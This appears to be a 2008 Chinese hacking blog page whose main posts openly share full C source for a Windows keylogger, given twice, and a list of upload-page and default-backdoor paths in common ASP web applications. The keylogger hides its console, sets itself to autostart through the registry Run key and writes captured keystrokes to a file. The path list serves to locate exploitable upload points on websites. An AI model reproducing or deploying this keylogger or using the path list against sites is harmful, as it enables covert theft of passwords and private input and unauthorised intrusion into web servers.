* 通过学习php手册或者官方文档了解php 一些函数的'特性'
* fuzz php的函数,找到新的有问题的函数[不一定非要溢出的]
* 分析php源代码,发现新的漏洞函数'特性'或者漏洞
* 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
* 你有什么要补充的吗? :)

分类: 资源共享 标签:

共享一个键盘记录的源码

2008年10月20日 Chinadu 没有评论

PS:很早的一个源码了,大家拿去玩玩吧

#include <windows.h>
#include <stdio.h>
#include <time.h>


int main(void)
{
// Hide consolewindows
   HWND hwnd = FindWindow("ConsoleWindowClass",NULL);
   ShowWindow(hwnd,SW_HIDE);

//Autostart Keylogger on systemstartup
  HKEY hkey;
  HKEY KEY = HKEY_LOCAL_MACHINE;
  char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
  char name[100]= {"Autostart"};
  char value[100]= {"C:\\Programme\\cLog.exe"};

  RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
  RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
  RegCloseKey(hkey);
//------------------------------------------------------------------------------

int idex;
char *buffer;
long LogLength;
long len;


FILE *log;
   log=fopen("c:\\log.txt","a+");
// Check time and Date and write to file
   time_t theTime=time(0);
   fputs("\nLogged keys by cLog at: ", log);
   fputs(ctime(&theTime),log);
// some advertisement
   fputs("-------------------------------------------------\n",log);
   fputs("~~~~~~~ by CC_IP POWERED BY EXCLUDED.ORG ~~~~~~\n",log);
   fputs("-------------------------------------------------\n",log);
   fputs("\n",log);
   fclose(log);





// logging keys
log=fopen("c:\\log.txt","a+");


           short character;
             while(1)
             {
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  
                            FILE *log;
                            log=fopen("C:\\log.txt","a+");
                            if(log==NULL)
                            {
                                    return 1;
                            }            
                            if(log!=NULL)
                            {        
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,log);
                                          fclose(log);
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,log);
                                          fclose(log);
                                          break;
                                    }
                                    else
>                                    {
                                        switch(character)
                                        {
                                              case 187:
                                              fputc('+',log);
                                              fclose(log);
                                              break;
                                              case 188:
                                              fputc(',',log);
                                              fclose(log);
                                              break;
                                              case 189:
                                              fputc('-',log);
                                              fclose(log);
                                              break;
                                              case 190:
                                              fputc('.',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD2:
                   &nbs
p;                          fputc('2',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD9:
          &nb
sp;                                   fputc('9',log);
                                              fclose(log);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("\r\n[CAPS LOCK]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_SHIFT:
                                              fputs("\r\n[SHIFT]\r\n",log);
                                              fclose(log);
                                              case VK_SPACE:
                                              fputc(' ',log);
                                              fclose(log);
                                              break;    
                                              case VK_CONTROL:
                                              fputs("\r\n[CTRL]\r\n",log);
                                              fclose(log);
                                              break;
                                              break;                                            
                                              case VK_RETURN:
                                              fputs("\r\n[RETURN]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_BACK:
                                              fputs("\r\n[BACKSPACE]\r\n",log);
                                              fclose(log);
                                      &
nbsp;       break;
                                              case VK_TAB:
                                              fputs("\r\n[TAB]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_DELETE:
                                              fputs("\r\n[DELETE]\r\n",log);
                                              fclose(log);
                                              break;
                                              default:
                                              fclose(log);
                                              break;
                                       }        
                                  }    
                             }        
                   }    
               }                  
           FILE *log;
           log=fopen("c:\\log.txt","rb");
           fseek(log,0,SEEK_END); //search EOF
           len=ftell(log); //goto end
           if(len>=LogLength) {
             fseek(log,0,SEEK_SET);
             buffer=(char *)malloc(len);
             idex=fread(buffer,1,len,log);//
             buffer[idex] = '\0'; //terminate
             fclose(log);
             log=fopen("c:\\log.txt","w");
             }
           
            fclose(log);
}
            free (buffer);
}

// Developed by CC_IP powered by www.excluded.org
#include <windows.h>
#include <stdio.h>
#include <time.h>


int main(void)
{
// Hide consolewindows
   HWND hwnd = FindWindow("ConsoleWindowClass",NULL);
   ShowWindow(hwnd,SW_HIDE);

//Autostart Keylogger on systemstartup
  HKEY hkey;
  HKEY KEY = HKEY_LOCAL_MACHINE;
  char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
  char name[100]= {"Autostart"};
  char value[100]= {"C:\\Programme\\cLog.exe"};

  RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
  RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
  RegCloseKey(hkey);
//------------------------------------------------------------------------------

int idex;
char *buffer;
long LogLength;
long len;


FILE *log;
   log=fopen("c:\\log.txt","a+");
// Check time and Date and write to file
   time_t theTime=time(0);
   fputs("\nLogged keys by cLog at: ", log);
   fputs(ctime(&theTime),log);
// some advertisement
   fputs("-------------------------------------------------\n",log);
   fputs("~~~~~~~ by CC_IP POWERED BY EXCLUDED.ORG ~~~~~~\n",log);
   fputs("-------------------------------------------------\n",log);
   fputs("\n",log);
   fclose(log);





// logging keys
log=fopen("c:\\log.txt","a+");


           short character;
             while(1)
 &nbs
p;           {
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  
                            FILE *log;
                            log=fopen("C:\\log.txt","a+");
                            if(log==NULL)
                            {
                                    return 1;
                            }            
                            if(log!=NULL)
                            {        
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,log);
                                          fclose(log);
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,log);
                                          fclose(log);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case 187:
                                              fputc('+',log);
                                              fclose(log);
                                              break;
                                              case 188:
        
                                      fputc(',',log);
                                              fclose(log);
                                              break;
                                              case 189:
                                              fputc('-',log);
                                              fclose(log);
                                              break;
                                              case 190:
                                              fputc('.',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD4:
 &
nbsp;                                            fputc('4',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',log);
                                              fclose(log);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("\r\n[CAPS LOCK]\r\n",log);
                                              fclose(log);
                                              break;
                                      &nb
sp;       case VK_SHIFT:
                                              fputs("\r\n[SHIFT]\r\n",log);
                                              fclose(log);
                                              case VK_SPACE:
                                              fputc(' ',log);
                                              fclose(log);
                                              break;    
                                              case VK_CONTROL:
                                              fputs("\r\n[CTRL]\r\n",log);
                                              fclose(log);
                                              break;
                                              break;                                            
                                              case VK_RETURN:
                                              fputs("\r\n[RETURN]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_BACK:
                                              fputs("\r\n[BACKSPACE]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_TAB:
                                              fputs("\r\n[TAB]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_DELETE:
                                              fputs("\r\n[DELETE]\r\n",log);
                                              fclose(log);
                
                              break;
                                              default:
                                              fclose(log);
                                              break;
                                       }        
                                  }    
                             }        
                   }    
               }                  
           FILE *log;
           log=fopen("c:\\log.txt","rb");
           fseek(log,0,SEEK_END); //search EOF
           len=ftell(log); //goto end
           if(len>=LogLength) {
             fseek(log,0,SEEK_SET);
             buffer=(char *)malloc(len);
             idex=fread(buffer,1,len,log);//
             buffer[idex] = '\0'; //terminate
             fclose(log);
             log=fopen("c:\\log.txt","w");
             }
           
            fclose(log);
}
            free (buffer);
}

// Developed by CC_IP powered by www.excluded.org

分类: 资源共享 标签:

公布一批上传页查询关键

2008年10月20日 Chinadu 没有评论

/eWebEditor/upload.asp #eWebEditor上传页面
/editor/upload.asp #eWebEditor上传页面
/bbs/upfile.asp #动网论坛上传页面
/forum/upfile.asp #动网论坛上传页面
/dvbbs/upfile.asp #动网论坛上传页面
/upfile_soft.asp #动力管理系统上传页面
/upload.asp?action=upfile #乔客6.0上传页面
/upfile.asp #动网论坛上传页面
/bbs/down_addsoft.asp #动网论坛插件上传页面
/bbs/down_picupfile.asp #动网论坛插件上传页面
/down_picupload.asp #动网论坛插件上传页面
/admin/admin_upfile.asp #管理员后台上传页面
/admin/upfile.asp #管理员后台上传页面
/admin/upload.asp #管理员后台上传页面
/admin/uploadfaceok.asp #尘缘上传页面
/news/admin/upfile.asp #新闻管理上传页面
/admin_upfile.asp #飞龙文章管理系统

/user_upfile.asp #飞龙文章管理系统
/upload_flash.asp #秋叶购物商城上传页面
/Saveannounce_upload.asp #购物中心上传页面
/UploadFace.asp #沸腾展望新闻系统

/bbs/diy.asp #Domian3.0默认木马
/UploadSoft/diy.asp #Domian3.0 默认木马
/diy.asp #Domian3.0默认木马
/upload/upload.asp #某某文章管理系统
/mybbs/saveup.asp #MYBBS论坛上传页面
/dxxobbs/upload.asp #DxxoBBS论坛上传页面
/img_upfile.asp #任我飞扬驿站上传页面
/Upfile_SoftPic.asp #动力管理系统上传页面
/upfile_flash.asp #秋叶购物商城上传页面

 

分类: 资源共享 标签: